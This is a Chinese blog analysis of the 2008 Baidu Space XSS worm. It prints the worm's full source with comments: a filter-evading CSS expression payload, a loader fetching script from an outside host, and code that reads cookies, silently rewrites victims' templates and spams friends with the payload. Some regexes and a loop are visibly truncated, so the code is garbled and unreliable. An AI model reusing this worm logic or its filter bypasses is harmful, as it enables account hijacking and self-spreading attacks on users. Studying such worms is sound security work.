百度XSS Worm 分析

1.expression

css expression(css表达式)可以在CSS中定义表达式(公式)来达到建立元素间属性之间的联系等作用,从IE5开始支持,最后因为标准、性能、安全性等问题,微软从IE8 beta2 开始取消对 CSS expression的支持。

也就是说可以在css代码后面插入一段js代码,css的属性值为其后的js代码计算出来的值。这样就带来了安全隐患,可以在css中插入恶意js代码。

2.execScript 和 eval的区别

1.execScript 是IE浏览器独有的,evl则支持所有浏览器,因此在百度XSS Worm中只有IE浏览器用户会感染,且为IE5以上的浏览器。

2.execScript不论在什么作用域中调用,其表达式或语句中字符串都将在全局作用于内执行。而eval在是在它被调用的作用于内运行它所接受到的表达式或语句字符串。

参看 execScript和eval的区别

3.defer属性

可将 defer 属性加入到 <script> 标签中,以便加快处理文档的速度。因为浏览器知道它将能够安全地读取文档的剩余部分而不用执行脚本,它将推迟对脚本的解释,直到文档已经显示给用户为止。

只有 Internet Explorer 支持 defer 属性

4.插入百度空间恶意代码的执行流程

1.先在自己的空间中写入恶意代码,通过expression函数在css中插入恶意代码,通过构造exp/**/ression来绕过过滤。

2.然后在execScript中写入一段加密的代码并用unescape解码,然后交给execScript执行

3.解码后的代码中构造"doc"+"ument" 来绕过过滤,这点与samy的xss worm 有异曲同工之妙。

4.然后创建一个<script>标签加载http://www.18688.com/cache/1.js 中的恶意代码

5.设置defer属性来来延迟执行 src=http://www.18688.com/cache/1.js中的恶意代码,等到所有元素都解析完成后

6.向HEAD中添加子节点即把x中的恶意代码添加到HEAD中

7.通过inject()函数来设置load()函数的执行频率,防止expression对其内部代码多次执行

源码:

a{evilmask:ex/* */pression(execScript(unescape('d%3D%22doc%22%2B%22ument%22%3B%0D%0Ai%3D%22function%20load%28%29%7Bvar%20x%3D%22%2Bd%2B%22.createElement%28%27SCRIPT%27%29%3Bx.src%3D%27http%3A//www.18688.com/cache/1.js%27%3Bx.defer%3Dtrue%3B%22%2Bd%2B%22.getElementsByTagName%28%27HEAD%27%29%5B0%5D.appendChild%28x%29%7D%3Bfunction%20inject%28%29%7Bwindow.setTimeout%28%27load%28%29%27%2C1000%29%7D%3Bif%28window.x%21%3D1%29%7Bwindow.x%3D1%3Binject%28%29%7D%3B%22%0D%0AexecScript%28i%29')))}

解码:

i="function load(){var x="+d+".createElement('SCRIPT');x.src='http://www.18688.com/cache/1.js';x.defer=true;"+d+".getElementsByTagName('HEAD')[0].appendChild(x)};function inject(){window.setTimeout('load()',1000)};if(window.x!=1){window.x=1;inject()};"
execScript(i)	


5.http://www.18688.com/cache/1.js的执行流程


1.将一个VBcript函数编码,该函数叫做URLEncoding用来把远程返回的数据正确编码

2.当有人在查看你的百度空间时,先获取当前页面的cookie值

3.创建xmlhttprequest用于在后台偷偷传送数据

4.如果该cookie中没有xssshell标志,执行goteditcss函数

5.goteditcss函数调用getmydata函数返回src中的页面源码,然后调用蠕虫核心代码makeevilcss

6.makeevil函数,先把恶意传播代码加载到playload中,然后模仿百度空间的表单结构以及数据添加提交结构,通过xmlhttprequest 偷偷提交到百度服务器上,然后在通过sendfriendmsg函数,给好友发送信息,当然信息中通过回车键把恶意代码隐藏起来.这样恶意代码就这样被传播开来

//Function URLEncoding(vstrIn)
// strReturn = ""
// For aaaa = 1 To Len(vstrIn)
// ThisChr = Mid(vStrIn,aaaa,1)
// If Abs(Asc(ThisChr)) 
execScript(unescape('Function%20URLEncoding%28vstrIn%29%0A%20%20%20%20strReturn%20%3D%20%22%22%0A%20%20%20%20For%20aaaa%20%3D%201%20To%20Len%28vstrIn%29%0A%20%20%20%20%20%20%20%20ThisChr%20%3D%20Mid%28vStrIn%2Caaaa%2C1%29%0A%20%20%20%20%20%20%20%20If%20Abs%28Asc%28ThisChr%29%29%20%3C%20%26HFF%20Then%0A%20%20%20%20%20%20%20%20%20%20%20%20strReturn%20%3D%20strReturn%20%26%20ThisChr%0A%20%20%20%20%20%20%20%20Else%0A%20%20%20%20%20%20%20%20%20%20%20%20innerCode%20%3D%20Asc%28ThisChr%29%0A%20%20%20%20%20%20%20%20%20%20%20%20If%20innerCode%20%3C%200%20Then%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20innerCode%20%3D%20innerCode%20+%20%26H10000%0A%20%20%20%20%20%20%20%20%20%20%20%20End%20If%0A%20%20%20%20%20%20%20%20%20%20%20%20Hight8%20%3D%20%28innerCode%20%20And%20%26HFF00%29%5C%20%26HFF%0A%20%20%20%20%20%20%20%20%20%20%20%20Low8%20%3D%20innerCode%20And%20%26HFF%0A%20%20%20%20%20%20%20%20%20%20%20%20strReturn%20%3D%20strReturn%20%26%20%22%25%22%20%26%20Hex%28Hight8%29%20%26%20%20%22%25%22%20%26%20Hex%28Low8%29%0A%20%20%20%20%20%20%20%20End%20If%0A%20%20%20%20Next%0A%20%20%20%20URLEncoding%20%3D%20strReturn%0AEnd%20Function'),'VBScript');
//unescape把后面的代码解码后,交给execScript执行。execSrcipt函数与eval函数相似但是有区别
cookie='';
cookieval=document.cookie; //获得当前用户的cookie
spaceid=spaceurl;
myhibaidu="http://hi.baidu.com"+spaceid;
//初始化XMLHttpRequest对象,AJAX要在这使用
xmlhttp=poster();  //创建 xmlhttprequest对象
debug=0;
//统计在线人数的函数,下面有定义
online();

if(spaceurl!='')
	{
		if(spaceid!='/')
		 {
		 	if(debug==1)
		 			 	 {
		 			 	 	goteditcss();
		 			 	 	document.cookie='xssshell/owned/you!';
		 			 	 }
		 			 	 //如果用户本地cookie中不含xssshell标志,则执行goteditcss函数,下面有定义
		 	if(cookieval.indexOf('xssshell')==-1)
		 			 	  {
		 			 	  	goteditcss();
		 			 	  	document.cookie='xssshell/owned/you!';
		 			 	  }
		 }
	}
//此为百度空间蠕虫的核心功能函数
function makeevilcss(spaceid,editurl,use){
//此playload即为蠕虫广泛传播的CSS代码片段,其中expression变形为ex/*exp/**/ression*/pression
playload="a{evilmask:ex/*exp/**/ression*/pression(execScript(unescape('d%253D%2522doc%2522%252B%2522ument%2522%253B%250D%250Ai%253D%2522function%2520load%2528%2529%257Bvar%2520x%253D%2522%252Bd%252B%2522.createElement%2528%2527SCRIPT%2527%2529%253Bx.src%253D%2527http%253A//www.18688.com/cache/1.js%2527%253Bx.defer%253Dtrue%253B%2522%252Bd%252B%2522.getElementsByTagName%2528%2527HEAD%2527%2529%255B0%255D.appendChild%2528x%2529%257D%253Bfunction%2520inject%2528%2529%257Bwindow.setTimeout%2528%2527load%2528%2529%2527%252C1000%2529%257D%253Bif%2528window.x%2521%253D1%2529%257Bwindow.x%253D1%253Binject%2528%2529%257D%253B%2522%250D%250AexecScript%2528i%2529')))}";
//下面是在模拟用户创建CSS模板的表单结构以及数据添加、提交过程
action=myhibaidu+"/commit";
spCssUse=use;
//AJAX在后面偷偷地异步获取远程数据
s=getmydata(editurl); //根据给url发送数据,获取url页面源码
re = /\
re = /\
re = /\
spRefUrl=editurl;
re = /\([^\x00]*?)\/i;
spCssText = s.match(re);
spCssText=spCssText[2];
spCssText=URLEncoding(spCssText);//把spCssText编码
//如果已经存在此邪恶的CSS片段,蠕虫则不再次感染
if(spCssText.indexOf('evilmask')!==-1) {
return 1;
}
//否则……
else spCssText=spCssText+"\r\n\r\n"+playload;
re = /\/i;
spCssName = s.match(re);
spCssName=spCssName[2];
re = /\/i;
spCssTag = s.match(re);
spCssTag=spCssTag[2];
postdata="ct="+ct+"&spCssUse=1"+"&spCssColorID=1"+"&spCssLayoutID=-1"+"&spRefURL="+URLEncoding(spRefUrl)+"&spRefURL="+URLEncoding(spRefUrl)+"&cm="+cm+"&spCssID="+spCssID+"&spCssText="+spCssText+"&spCssName="+URLEncoding(spCssName)+"&spCssTag="+URLEncoding(spCssTag);
//AJAX在后台再次偷偷地将编辑好的CSS数据保存到百度空间服务器上
result=postmydata(action,postdata);
//调用好友发送信息函数
sendfriendmsg();
//统计感染用户总数
count();
//成功
hack();
}
//此函数初始化数据,调用核心功能函数makeevilcss
function goteditcss() {
src="http://hi.baidu.com"+spaceid+"/modify/spcrtempl/0";
s=getmydata(src);
//正则表达式匹配/号不区分大小写
re = /\/i;      
r = s.match(re); 匹配到直接返回给字符 
nowuse=r[2];
makeevilcss(spaceid,"http://hi.baidu.com"+spaceid+"/modify/spcss/"+nowuse+".css/edit",1);
return 0;
}
//创建XMLHttpRequest对象
function poster(){
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i
//XMLHttpRequest对象使用POST方式异步发送数据
function postmydata(action,data){
xmlhttp.open("POST", action, false);
xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xmlhttp.send(data);
return xmlhttp.responseText;
}
//XMLHttpRequest对象使用GET方式异步发送数据
//http://hi.baidu.com"+spaceid+"/modify/spcrtempl/0打开,然后获得该页面的Text
function getmydata(action){
xmlhttp.open("GET", action, false);
xmlhttp.send();
return xmlhttp.responseText;
}
function killErrors() {
return true;
}
//统计感染用户总数
function count() {
a=new Image();
a.src='http://img.users.51.la/1563171.asp';
return 0;
}
//统计感染用户在线总数
function online() {
online=new Image();
online.src='http://img.users.51.la/1563833.asp ';
return 0;
}
function hack() {
return 0;
}
//好友发送信息函数,当你收到这样的消息那就要注意了
function sendfriendmsg(){
myfurl=myhibaidu+"/friends";
s=getmydata(myfurl);
evilmsg="哈,节日快乐呀!热烈庆祝2008,心情好好,记得要想我呀!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n"+myhibaidu;
var D=function(A,B){A[A.length]=B;};
re = /(.+)D\(k\,\[([^\]]+?)\]\)(.*)/g;
friends = s.match(re);
eval(friends[0]);
for(i in k) {
eval('msgimg'+i+'=new Image();');
eval('msgimg'+i+'.src="http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn="+URLEncoding(k[i][2])+"&co="+URLEncoding(evilmsg)+"&vcodeinput=";');
}
}


被加密的vbscript如下

'Function URLEncoding(vstrIn)
    strReturn = ""
    For aaaa = 1 To Len(vstrIn)    //循环 vstrIn的程度
        ThisChr = Mid(vStrIn,aaaa,1)  //
        If Abs(Asc(ThisChr)) < &HFF Then
            strReturn = strReturn & ThisChr
        Else
            innerCode = Asc(ThisChr)
            If innerCode < 0 Then
                innerCode = innerCode + &H10000
            End If
            Hight8 = (innerCode  And &HFF00)\ &HFF
            Low8 = innerCode And &HFF
            strReturn = strReturn & "%" & Hex(Hight8) &  "%" & Hex(Low8)
        End If
    Next
    URLEncoding = strReturn
End Function'

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值